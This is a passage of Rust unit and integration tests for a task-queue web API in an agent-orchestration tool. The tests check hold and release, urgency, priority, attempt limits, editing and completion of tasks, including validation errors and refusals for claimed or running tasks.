17747        assert!(
17748            h[0].outcome.contains("without recording why"),
17749            "{}",
17750            h[0].outcome
17751        );
17752        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17753        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
17754    }
17755
17756    #[test]
17757    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
17758        use crate::queue::PassCost;
17759        // Three entries, but the run only began keeping passes at the last
17760        // two: the first is legacy and must not be given a cause.
17761        let run = flow_run(RunStatus::Implementing, |s| {
17762            s.passes = vec![
17763                recorded_pass(0, parked(upgrade_cause())),
17764                recorded_pass(1, None),
17765            ];
17766        });
17767        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
17768        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17769        let h = task_history(&task, |_| Some(run.clone()));
17770        assert!(h[0].pass.is_none());
17771        assert_eq!(h[0].exit, RunExit::Interrupted);
17772        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17773        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17774        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17775        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
17776        // A run with no passes at all is entirely unknown.
17777        let legacy = flow_run(RunStatus::Implementing, |_| {});
17778        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
17779        assert!(h.iter().all(|v| v.pass.is_none()));
17780        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17781    }
17782
17783    #[test]
17784    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
17785        use crate::queue::PassCost;
17786        // Pass 1 is a web-button resume: a pass of the run, no entry of the
17787        // task. The two entries are passes 0 and 2.
17788        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
17789        web.task_entry = false;
17790        let run = flow_run(RunStatus::Implementing, |s| {
17791            s.passes = vec![
17792                recorded_pass(0, parked(upgrade_cause())),
17793                web.clone(),
17794                recorded_pass(2, None),
17795            ];
17796        });
17797        let mut task = flow_task(&[RUN_X, RUN_X]);
17798        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17799        let h = task_history(&task, |_| Some(run.clone()));
17800        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17801        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
17802
17803        // Legacy first entry, then a web resume that parked for an upgrade,
17804        // then the daemon's pass: the legacy entry must stay unknown.
17805        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
17806        web0.task_entry = false;
17807        let run = flow_run(RunStatus::Implementing, |s| {
17808            s.passes = vec![web0.clone(), recorded_pass(1, None)];
17809        });
17810        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
17811        assert!(h[0].pass.is_none());
17812        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17813        assert!(h[1].pass.is_some());
17814    }
17815
17816    #[tokio::test]
17817    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
17818        let dir = tempfile::tempdir().unwrap();
17819        let queue = Queue::at(dir.path().join("queue"));
17820        let ui = Arc::new(Ui::new(
17821            queue.clone(),
17822            Questions::at(dir.path().join("questions")),
17823            Talks::at(dir.path().join("talks")),
17824            dir.path().join("runs"),
17825            dir.path().to_path_buf(),
17826            dir.path().to_path_buf(),
17827        ));
17828        let mut t = Task::new(
17829            "recover".into(),
17830            "Inspect".into(),
17831            PathBuf::from("."),
17832            Source::Human,
17833        );
17834        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
17835        t.start("run-A".into());
17836        t.release_operator("choice", Some("resume-question"));
17837        t.resume_override = Some(crate::queue::OperatorResume {
17838            question_id: "resume-question".into(),
17839            at: jiff::Timestamp::now(),
17840            conductor_rehold: None,
17841            forced: true,
17842            pinned_run: Some("run-A".into()),
17843        });
17844        t.hold_machine(Some("inspection pending".into()));
17845        t.edit("recover".into(), "Reuse approved PR head".into())
17846            .unwrap();
17847        queue.put(&mut t).unwrap();
17848        let mut cli = t.clone();
17849        cli.release_operator("cli", None);
17850        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
17851        let reloaded = queue.get(&t.id).unwrap();
17852        assert_eq!(reply.task.status, TaskStatus::Queued);
17853        assert!(reloaded.resume_override.is_none());
17854        assert_eq!(reloaded.answers, t.answers);
17855        let mut web = reloaded.resumption.unwrap();
17856        let cli = cli.resumption.unwrap();
17857        assert_eq!(web.source, "web");
17858        web.source = cli.source.clone();
17859        web.at = cli.at;
17860        assert_eq!(web, cli);
17861    }
17862
17863    #[tokio::test]
17864    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
17865        let f = Fixture::start().await;
17866        let queue = f.queue();
17867        let mut task = Task::new(
17868            "spent".to_owned(),
17869            "Try again".to_owned(),
17870            PathBuf::from("/repo/magi"),
17871            Source::Human,
17872        );
17873        task.start("20260902-140502-bbbb".to_owned());
17874        task.fail("agent gave up", 9);
17875        queue.put(&mut task).expect("file the task");
17876
17877        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17878        assert_eq!(held.status, 200);
17879        assert_eq!(held.json()["status_str"], "held");
17880
17881        let released = f
17882            .post(&format!("/api/queue/{}/release", task.id), None)
17883            .await;
17884        assert_eq!(released.status, 200);
17885        assert_eq!(released.json()["status_str"], "queued");
17886        assert_eq!(released.json()["resumption"]["source"], "web");
17887        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
17888        let mut cli = task.clone();
17889        cli.release_operator("cli", None);
17890        let web = queue.get(&task.id).unwrap().resumption.unwrap();
17891        let cli = cli.resumption.unwrap();
17892        assert_eq!(web.instruction, cli.instruction);
17893        assert_eq!(web.answers_through, cli.answers_through);
17894        assert_eq!(web.runs_through, cli.runs_through);
17895        assert_eq!(web.cleared_reason, cli.cleared_reason);
17896        assert_eq!(
17897            released.json()["attempts"],
17898            0,
17899            "release is a real second chance, not an instant re-hold"
17900        );
17901        assert_eq!(
17902            queue.get(&task.id).expect("reload").status,
17903            TaskStatus::Queued,
17904            "the change is on disk, not only in the reply"
17905        );
17906        assert!(
17907            !f.home
17908                .path()
17909                .join("queue")
17910                .join(format!("{}.lock", task.id))
17911                .exists(),
17912            "the claim the mutation took is released again"
17913        );
17914    }
17915
17916    #[tokio::test]
17917    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
17918        let f = Fixture::start().await;
17919        let queue = f.queue();
17920        let mut task = Task::new(
17921            "busy".to_owned(),
17922            "Running right now".to_owned(),
17923            PathBuf::from("/repo/magi"),
17924            Source::Human,
17925        );
17926        queue.put(&mut task).expect("file the task");
17927        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17928
17929        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17930
17931        assert_eq!(res.status, 409);
17932        assert_eq!(
17933            queue.get(&task.id).expect("reload").status,
17934            TaskStatus::Queued,
17935            "the refused hold changed nothing"
17936        );
17937    }
17938
17939    #[tokio::test]
17940    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
17941        let f = Fixture::start().await;
17942        let queue = f.queue();
17943        let mut task = Task::new(
17944            "waiting on the migration".to_owned(),
17945            "Do the thing".to_owned(),
17946            PathBuf::from("/repo/magi"),
17947            Source::Human,
17948        );
17949        queue.put(&mut task).expect("file the task");
17950
17951        let held = f
17952            .post(
17953                &format!("/api/queue/{}/hold", task.id),
17954                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
17955            )
17956            .await;
17957        assert_eq!(held.status, 200, "{}", held.body);
17958        assert_eq!(held.json()["status_str"], "held");
17959        assert_eq!(
17960            held.json()["hold_reason"],
17961            "waiting for 20260101-000000-aaaa to land"
17962        );
17963
17964        let listed = f.get("/api/queue").await.json();
17965        assert_eq!(
17966            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
17967            "the card reads the reason off the same list route"
17968        );
17969
17970        // A hold with no body at all must keep working - most holds have no
17971        // reason to give.
17972        let mut plain = Task::new(
17973            "no reason given".to_owned(),
17974            "Do another thing".to_owned(),
17975            PathBuf::from("/repo/magi"),
17976            Source::Human,
17977        );
17978        queue.put(&mut plain).expect("file the task");
17979        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
17980        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
17981        assert!(held_plain.json()["hold_reason"].is_null());
17982
17983        let released = f
17984            .post(&format!("/api/queue/{}/release", task.id), None)
17985            .await;
17986        assert_eq!(released.status, 200);
17987        assert!(
17988            released.json()["hold_reason"].is_null(),
17989            "a release must clear the reason so the next hold does not inherit it"
17990        );
17991    }
17992
17993    #[test]
17994    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
17995        for urgent in [true, false] {
17996            let body: UrgentBody =
17997                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
17998            assert_eq!(body.urgent, urgent);
17999        }
18000        for input in [
18001            r#"{}"#,
18002            r#"{"urgent":null}"#,
18003            r#"{"urgent":"true"}"#,
18004            r#"{"urgent":1}"#,
18005            r#"{"urgent":true,"extra":false}"#,
18006        ] {
18007            assert!(
18008                serde_json::from_str::<UrgentBody>(input).is_err(),
18009                "{input}"
18010            );
18011        }
18012    }
18013
18014    #[tokio::test]
18015    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
18016        let home = TempDir::new().unwrap();
18017        let q = Queue::at(home.path().join("queue"));
18018        let ui = Arc::new(Ui::new(
18019            q.clone(),
18020            Questions::at(home.path().join("questions")),
18021            Talks::at(home.path().join("talks")),
18022            home.path().join("runs"),
18023            home.path().into(),
18024            home.path().into(),
18025        ));
18026        let mut task = Task::new(
18027            "urgent handler".into(),
18028            "keep".into(),
18029            home.path().into(),
18030            Source::Human,
18031        );
18032        for status in [TaskStatus::Queued, TaskStatus::Held] {
18033            task.status = status;
18034            q.put(&mut task).unwrap();
18035            for urgent in [true, true, false, false] {
18036                let saved = queue_urgent(
18037                    State(Arc::clone(&ui)),
18038                    Path(task.short().into()),
18039                    Ok(Json(UrgentBody { urgent })),
18040                )
18041                .await
18042                .unwrap();
18043                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
18044                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
18045            }
18046        }
18047        task.status = TaskStatus::Queued;
18048        q.put(&mut task).unwrap();
18049        let claim = q.claim(&task.id).unwrap();
18050        let error = queue_urgent(
18051            State(Arc::clone(&ui)),
18052            Path(task.id.clone()),
18053            Ok(Json(UrgentBody { urgent: true })),
18054        )
18055        .await
18056        .unwrap_err();
18057        assert_eq!(error.status, StatusCode::CONFLICT);
18058        assert!(error.message.contains("released"));
18059        drop(claim);
18060        for status in [
18061            TaskStatus::Running,
18062            TaskStatus::Done,
18063            TaskStatus::Failed,
18064            TaskStatus::Blocked,
18065            TaskStatus::Parked,
18066        ] {
18067            task.status = status;
18068            q.put(&mut task).unwrap();
18069            let error = queue_urgent(
18070                State(Arc::clone(&ui)),
18071                Path(task.id.clone()),
18072                Ok(Json(UrgentBody { urgent: false })),
18073            )
18074            .await
18075            .unwrap_err();
18076            assert_eq!(error.status, StatusCode::BAD_REQUEST);
18077            assert!(error.message.contains(status.as_str()));
18078        }
18079    }
18080
18081    #[tokio::test]
18082    async fn urgent_api_updates_preserves_and_validates_tasks() {
18083        let f = Fixture::start().await;
18084        let q = f.queue();
18085        let mut t = Task::new(
18086            "urgent API".into(),
18087            "unchanged".into(),
18088            PathBuf::from("/repo/magi"),
18089            Source::Human,
18090        );
18091        t.attempts = 2;
18092        t.priority = 9;
18093        t.interrupt = true;
18094        t.hold_reason = Some("waiting for approval".into());
18095        for status in [TaskStatus::Queued, TaskStatus::Held] {
18096            t.status = status;
18097            q.put(&mut t).unwrap();
18098            for urgent in [true, true, false, false] {
18099                let response = f
18100                    .post(
18101                        &format!("/api/queue/{}/urgent", t.short()),
18102                        Some(&format!("{{\"urgent\":{urgent}}}")),
18103                    )
18104                    .await;
18105                assert_eq!(response.status, 200, "{}", response.body);
18106                assert_eq!(response.json()["urgent"], urgent);
18107                let saved = q.get(&t.id).unwrap();
18108                let mut before = serde_json::to_value(&t).unwrap();
18109                let mut after = serde_json::to_value(saved).unwrap();
18110                before["urgent"] = urgent.into();
18111                before.as_object_mut().unwrap().remove("updated_at");
18112                after.as_object_mut().unwrap().remove("updated_at");
18113                assert_eq!(after, before);
18114            }
18115        }
18116        let route = format!("/api/queue/{}/urgent", t.id);
18117        for body in [
18118            r#"{}"#,
18119            r#"{"urgent":null}"#,
18120            r#"{"urgent":"true"}"#,
18121            r#"{"urgent":1}"#,
18122            r#"{"urgent":true,"extra":false}"#,
18123            "{",
18124        ] {
18125            assert_eq!(f.post(&route, Some(body)).await.status, 400);
18126        }
18127        t.status = TaskStatus::Queued;
18128        q.put(&mut t).unwrap();
18129        let claim = q.claim(&t.id).unwrap();
18130        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
18131        assert_eq!(response.status, 409, "{}", response.body);
18132        assert!(!q.get(&t.id).unwrap().urgent);
18133        drop(claim);
18134        for status in [
18135            TaskStatus::Running,
18136            TaskStatus::Done,
18137            TaskStatus::Failed,
18138            TaskStatus::Blocked,
18139            TaskStatus::Parked,
18140        ] {
18141            t.status = status;
18142            q.put(&mut t).unwrap();
18143            for urgent in [true, false] {
18144                let response = f
18145                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
18146                    .await;
18147                assert_eq!(response.status, 400, "{}", response.body);
18148                assert!(response.body.contains(status.as_str()));
18149                assert!(response.body.contains("queued or held"));
18150                assert!(!q.get(&t.id).unwrap().urgent);
18151            }
18152        }
18153        assert_eq!(
18154            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
18155                .await
18156                .status,
18157            404
18158        );
18159    }
18160
18161    #[tokio::test]
18162    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
18163        let f = Fixture::start().await;
18164        let queue = f.queue();
18165        let mut older = Task::new(
18166            "filed first".to_owned(),
18167            "x".to_owned(),
18168            PathBuf::from("/repo/magi"),
18169            Source::Human,
18170        );
18171        older.id = "20260101-000001-aaaa".to_owned();
18172        let mut newer = Task::new(
18173            "filed second".to_owned(),
18174            "x".to_owned(),
18175            PathBuf::from("/repo/magi"),
18176            Source::Human,
18177        );
18178        newer.id = "20260101-000002-bbbb".to_owned();
18179        queue.put(&mut older).expect("file older");
18180        queue.put(&mut newer).expect("file newer");
18181
18182        // Equal priority: the newer task leads, the same order the old
18183        // newest-first `list()` already gave every equal-priority queue.
18184        let before = f.get("/api/queue").await.json();
18185        assert_eq!(before[0]["id"], newer.id);
18186        assert_eq!(before[1]["id"], older.id);
18187
18188        // Raising the *older* task is the meaningful case: it can only lead
18189        // now because its priority says so, not because it happens to be
18190        // newest.
18191        let raised = f
18192            .post(
18193                &format!("/api/queue/{}/priority", older.id),
18194                Some(r#"{"priority":10}"#),
18195            )
18196            .await;
18197        assert_eq!(raised.status, 200, "{}", raised.body);
18198        assert_eq!(raised.json()["priority"], 10);
18199
18200        let after = f.get("/api/queue").await.json();
18201        let names: Vec<&str> = after
18202            .as_array()
18203            .unwrap()
18204            .iter()
18205            .map(|t| t["id"].as_str().unwrap())
18206            .collect();
18207        // Highest priority first, which is the order next_runnable and
18208        // `magi task list` both use - GET /api/queue must agree with it
18209        // immediately, not just once the loop claims the task.
18210        assert_eq!(names[0], older.id, "the raised task now sorts first");
18211    }
18212
18213    #[tokio::test]
18214    async fn row_priorities_follow_dispatch_order_and_preserve_upgrade_lane() {
18215        let f = Fixture::start().await;
18216        let queue = f.queue();
18217        let mut tasks = Vec::new();
18218        for id in [
18219            "20260101-000001-aaaa",
18220            "20260101-000002-bbbb",
18221            "20260101-000003-cccc",
18222        ] {
18223            let mut task = Task::new(
18224                id.into(),
18225                "x".into(),
18226                PathBuf::from("/repo/magi"),
18227                Source::Human,
18228            );
18229            task.id = id.into();
18230            queue.put(&mut task).unwrap();
18231            tasks.push(task);
18232        }
18233        assert_eq!(
18234            queue.next_runnable().unwrap().id,
18235            tasks[0].id,
18236            "equal priorities use ascending id"
18237        );
18238        let route = format!("/api/queue/{}/priority", tasks[2].id);
18239        assert_eq!(f.post(&route, Some(r#"{"priority":1}"#)).await.status, 200);
18240        assert_eq!(queue.next_runnable().unwrap().id, tasks[2].id);
18241        tasks[1].start("upgrade-run".into());
18242        tasks[1].park("upgrade");
18243        tasks[1].record_pass_at(
18244            "upgrade-run",
18245            0,
18246            Some("2026-01-01T00:00:00Z".parse().unwrap()),
18247            1,
18248            Some(crate::run::ParkCause::Upgrade {
18249                from: "old".into(),
18250                to: None,
18251            }),
18252        );
18253        queue.put(&mut tasks[1]).unwrap();
18254        let rows = f.get("/api/queue").await.json();
18255        let upgrade = rows
18256            .as_array()
18257            .unwrap()
18258            .iter()
18259            .find(|row| row["id"] == tasks[1].id)
18260            .unwrap();
18261        assert_eq!(upgrade["upgrade_resume_at"], "2026-01-01T00:00:00Z");
18262        assert_eq!(queue.next_runnable().unwrap().id, tasks[1].id);
18263        tasks[2] = queue.get(&tasks[2].id).unwrap();
18264        tasks[2].start("running-run".into());
18265        queue.put(&mut tasks[2]).unwrap();
18266        assert_eq!(f.post(&route, Some(r#"{"priority":2}"#)).await.status, 400);
18267        assert_eq!(queue.get(&tasks[2].id).unwrap().priority, 1);
18268    }
18269
18270    #[tokio::test]
18271    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
18272        let dir = TempDir::new().unwrap();
18273        let q = Queue::at(dir.path().join("queue"));
18274        let ui = Arc::new(Ui::new(
18275            q.clone(),
18276            Questions::at(dir.path().join("questions")),
18277            Talks::at(dir.path().join("talks")),
18278            dir.path().join("runs"),
18279            dir.path().to_path_buf(),
18280            dir.path().to_path_buf(),
18281        ));
18282        let mut t = Task::new(
18283            "budget".into(),
18284            "keep".into(),
18285            dir.path().into(),
18286            Source::Human,
18287        );
18288        t.attempts = 2;
18289        t.runs.push("prior-run".into());
18290        t.hold_manual(Some("waiting".into()));
18291        q.put(&mut t).unwrap();
18292        let change = |value| {
18293            queue_attempt_limit(
18294                State(ui.clone()),
18295                Path(t.id.clone()),
18296                Ok(Json(AttemptLimitBody {
18297                    attempt_limit: value,
18298                })),
18299            )
18300        };
18301        for value in [
18302            serde_json::json!(3),
18303            serde_json::Value::Null,
18304            serde_json::json!(1),
18305        ] {
18306            let response = change(value.clone()).await.unwrap();
18307            assert_eq!(
18308                serde_json::to_value(response.0).unwrap()["attempt_limit"],
18309                value
18310            );
18311            let saved = q.get(&t.id).unwrap();
18312            assert_eq!(
18313                serde_json::to_value(&saved).unwrap()["attempt_limit"],
18314                value
18315            );
18316            assert_eq!(saved.status, TaskStatus::Held);
18317            assert_eq!(saved.attempts, t.attempts);
18318            assert_eq!(saved.runs, t.runs);
18319            assert_eq!(saved.hold_reason, t.hold_reason);
18320            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
18321                .await
18322                .unwrap()
18323                .0;
18324            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
18325            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
18326            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
18327            assert_eq!(outcome.max_attempts, detail.max_attempts);
18328        }
18329        for value in [
18330            serde_json::json!(0),
18331            serde_json::json!(-1),
18332            serde_json::json!(1.5),
18333            serde_json::json!("3"),
18334            serde_json::json!(true),
18335        ] {
18336            assert_eq!(
18337                change(value).await.err().unwrap().status,
18338                StatusCode::BAD_REQUEST
18339            );
18340        }
18341        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
18342        let claim = q.claim(&t.id).unwrap();
18343        assert_eq!(
18344            change(serde_json::json!(4)).await.err().unwrap().status,
18345            StatusCode::CONFLICT
18346        );
18347        drop(claim);
18348        for status in [
18349            TaskStatus::Running,
18350            TaskStatus::Done,
18351            TaskStatus::Failed,
18352            TaskStatus::Blocked,
18353            TaskStatus::Parked,
18354        ] {
18355            let mut stored = q.get(&t.id).unwrap();
18356            stored.status = status;
18357            q.put(&mut stored).unwrap();
18358            assert_eq!(
18359                change(serde_json::json!(4)).await.err().unwrap().status,
18360                StatusCode::BAD_REQUEST
18361            );
18362            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
18363        }
18364        let mut stored = q.get(&t.id).unwrap();
18365        stored.status = TaskStatus::Queued;
18366        q.put(&mut stored).unwrap();
18367        let _ = change(serde_json::Value::Null).await.unwrap();
18368        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
18369    }
18370
18371    #[tokio::test]
18372    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
18373        let dir = TempDir::new().unwrap();
18374        let repo = dir.path().join("repo");
18375        std::fs::create_dir(&repo).unwrap();
18376        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
18377        let q = Queue::at(dir.path().join("queue"));
18378        let ui = Arc::new(Ui::new(
18379            q.clone(),
18380            Questions::at(dir.path().join("questions")),
18381            Talks::at(dir.path().join("talks")),
18382            dir.path().join("runs"),
18383            dir.path().to_path_buf(),
18384            repo.clone(),
18385        ));
18386        let mut t = Task::new(
18387            "seats".into(),
18388            "keep instruction".into(),
18389            repo,
18390            Source::Human,
18391        );
18392        t.runs.push("prior-run".into());
18393        t.hold_manual(Some("waiting".into()));
18394        q.put(&mut t).unwrap();
18395        let change = |count| {
18396            queue_implementers(
18397                State(ui.clone()),
18398                Path(t.id.clone()),
18399                Ok(Json(ImplementersBody {
18400                    implementers: count,
18401                })),
18402            )
18403        };
18404        for count in [2, 1, 2] {
18405            let response = change(count).await.unwrap();
18406            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
18407            let saved = q.get(&t.id).unwrap();
18408            assert_eq!(saved.implementers(), Some(usize::from(count)));
18409            assert_eq!(saved.runs, t.runs);
18410            assert_eq!(saved.instruction, t.instruction);
18411        }
18412        for count in [0, 4] {
18413            assert_eq!(
18414                change(count).await.err().unwrap().status,
18415                StatusCode::BAD_REQUEST
18416            );
18417        }
18418        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
18419        let claim = q.claim(&t.id).unwrap();
18420        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
18421        drop(claim);
18422        for status in [
18423            TaskStatus::Running,
18424            TaskStatus::Done,
18425            TaskStatus::Failed,
18426            TaskStatus::Blocked,
18427            TaskStatus::Parked,
18428        ] {
18429            let mut stored = q.get(&t.id).unwrap();
18430            stored.status = status;
18431            q.put(&mut stored).unwrap();
18432            assert_eq!(
18433                change(1).await.err().unwrap().status,
18434                StatusCode::BAD_REQUEST
18435            );
18436            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
18437        }
18438    }
18439
18440    #[tokio::test]
18441    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
18442        let f = Fixture::start().await;
18443        let queue = f.queue();
18444        let mut task = Task::new(
18445            "in flight".to_owned(),
18446            "x".to_owned(),
18447            PathBuf::from("/repo/magi"),
18448            Source::Human,
18449        );
18450        task.start("20260902-140502-bbbb".to_owned());
18451        queue.put(&mut task).expect("file the task");
18452
18453        let res = f
18454            .post(
18455                &format!("/api/queue/{}/priority", task.id),
18456                Some(r#"{"priority":9}"#),
18457            )
18458            .await;
18459        assert_eq!(res.status, 400, "{}", res.body);
18460        assert!(
18461            res.json()["error"]
18462                .as_str()
18463                .is_some_and(|e| e.contains("running")),
18464            "{}",
18465            res.body
18466        );
18467        assert_eq!(
18468            queue.get(&task.id).expect("reload").priority,
18469            0,
18470            "the refused write must not partially apply"
18471        );
18472    }
18473
18474    #[tokio::test]
18475    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
18476        let f = Fixture::start().await;
18477        let queue = f.queue();
18478        let mut task = Task::new(
18479            "old title".to_owned(),
18480            "old instruction".to_owned(),
18481            PathBuf::from("/repo/magi"),
18482            Source::Agent {
18483                run: "20260101-000000-beef".to_owned(),
18484                node: "implement".to_owned(),
18485            },
18486        );
18487        task.runs.push("20260101-000000-beef".to_owned());
18488        queue.put(&mut task).expect("file the task");
18489        let created_at = task.created_at;
18490
18491        let edited = f
18492            .post(
18493                &format!("/api/queue/{}/edit", task.id),
18494                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
18495            )
18496            .await;
18497        assert_eq!(edited.status, 200, "{}", edited.body);
18498        let body = edited.json();
18499        assert_eq!(body["title"], "new title");
18500        assert_eq!(body["instruction"], "new instruction");
18501        assert_eq!(body["id"], task.id, "editing must not mint a new id");
18502        assert_eq!(body["created_at"], created_at.to_string());
18503        assert_eq!(
18504            body["source"]["kind"], "agent",
18505            "editing a task an agent filed must not turn it human: {body}"
18506        );
18507        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
18508
18509        let reloaded = queue.get(&task.id).expect("reload");
18510        assert_eq!(reloaded.title, "new title");
18511        assert_eq!(reloaded.instruction, "new instruction");
18512    }
18513
18514    #[tokio::test]
18515    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
18516        // The judge is an agent now: a repo whose only agent answers
18517        // "duplicate" stands in for it, so the refusal is the judge's.
18518        let tmp = TempDir::new().expect("tempdir");
18519        let repo = tmp.path().join("repo");
18520        std::fs::create_dir_all(&repo).expect("repo dir");
18521        let judge = MOCK_AGENT_TOML.replace(
18522            "printf ok",
18523            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
18524        );
18525        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
18526        let f = Fixture::with_repo(repo.clone()).await;
18527        let queue = f.queue();
18528        let mut owner = Task::new(
18529            "owner".to_owned(),
18530            "review it".to_owned(),
18531            repo.clone(),
18532            Source::Human,
18533        );
18534        owner.review_branch = Some("magi/ab12/A".to_owned());
18535        queue.put(&mut owner).expect("file the owner");
18536        let mut task = Task::new(
18537            "draft".to_owned(),
18538            "old".to_owned(),
18539            repo.clone(),
18540            Source::Human,
18541        );
18542        queue.put(&mut task).expect("file the draft");
18543        let url = format!("/api/queue/{}/edit", task.id);
18544
18545        let refused = f
18546            .post(
18547                &url,
18548                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
18549            )
18550            .await;
18551        assert_eq!(refused.status, 409, "{}", refused.body);
18552        let msg = refused.json()["error"]
18553            .as_str()
18554            .unwrap_or_default()
18555            .to_owned();
18556        assert!(
18557            msg.contains("magi/ab12/A") && msg.contains("force"),
18558            "{msg}"
18559        );
18560        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
18561
18562        let forced = f
18563            .post(
18564                &url,
18565                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
18566            )
18567            .await;
18568        assert_eq!(forced.status, 200, "{}", forced.body);
18569    }
18570
18571    #[tokio::test]
18572    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
18573        let f = Fixture::start().await;
18574        let queue = f.queue();
18575        let mut task = Task::new(
18576            "in flight".to_owned(),
18577            "do not touch".to_owned(),
18578            PathBuf::from("/repo/magi"),
18579            Source::Human,
18580        );
18581        task.start("20260902-140502-bbbb".to_owned());
18582        queue.put(&mut task).expect("file the task");
18583
18584        let res = f
18585            .post(
18586                &format!("/api/queue/{}/edit", task.id),
18587                Some(r#"{"title":"x","instruction":"y"}"#),
18588            )
18589            .await;
18590        assert_eq!(res.status, 400, "{}", res.body);
18591        assert!(
18592            res.json()["error"]
18593                .as_str()
18594                .is_some_and(|e| e.contains("running")),
18595            "{}",
18596            res.body
18597        );
18598        assert_eq!(
18599            queue.get(&task.id).expect("reload").instruction,
18600            "do not touch",
18601            "the refused edit must not change the file"
18602        );
18603    }
18604
18605    #[tokio::test]
18606    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
18607        let f = Fixture::start().await;
18608        let queue = f.queue();
18609        let mut task = Task::new(
18610            "busy".to_owned(),
18611            "Running right now".to_owned(),
18612            PathBuf::from("/repo/magi"),
18613            Source::Human,
18614        );
18615        queue.put(&mut task).expect("file the task");
18616        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
18617
18618        let priority = f
18619            .post(
18620                &format!("/api/queue/{}/priority", task.id),
18621                Some(r#"{"priority":9}"#),
18622            )
18623            .await;
18624        assert_eq!(priority.status, 409, "{}", priority.body);
18625
18626        let edit = f
18627            .post(
18628                &format!("/api/queue/{}/edit", task.id),
18629                Some(r#"{"title":"x","instruction":"y"}"#),
18630            )
18631            .await;
18632        assert_eq!(edit.status, 409, "{}", edit.body);
18633    }
18634
18635    #[tokio::test]
18636    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
18637        let f = Fixture::start().await;
18638        let queue = f.queue();
18639        let mut task = Task::new(
18640            "shipped by hand".to_owned(),
18641            "merged outside the loop".to_owned(),
18642            PathBuf::from("/repo/magi"),
18643            Source::Agent {
18644                run: "20260101-000000-b455".to_owned(),
18645                node: "implement".to_owned(),
18646            },
18647        );
18648        task.runs.push("20260101-000000-b455".to_owned());
18649        task.runs.push("20260101-000000-9af4".to_owned());
18650        queue.put(&mut task).expect("file the task");
18651        let created_at = task.created_at;
18652
18653        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18654        assert_eq!(done.status, 200, "{}", done.body);
18655        assert_eq!(done.json()["status_str"], "done");
18656
18657        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
18658        assert_eq!(
18659            reloaded.runs,
18660            ["20260101-000000-b455", "20260101-000000-9af4"]
18661        );
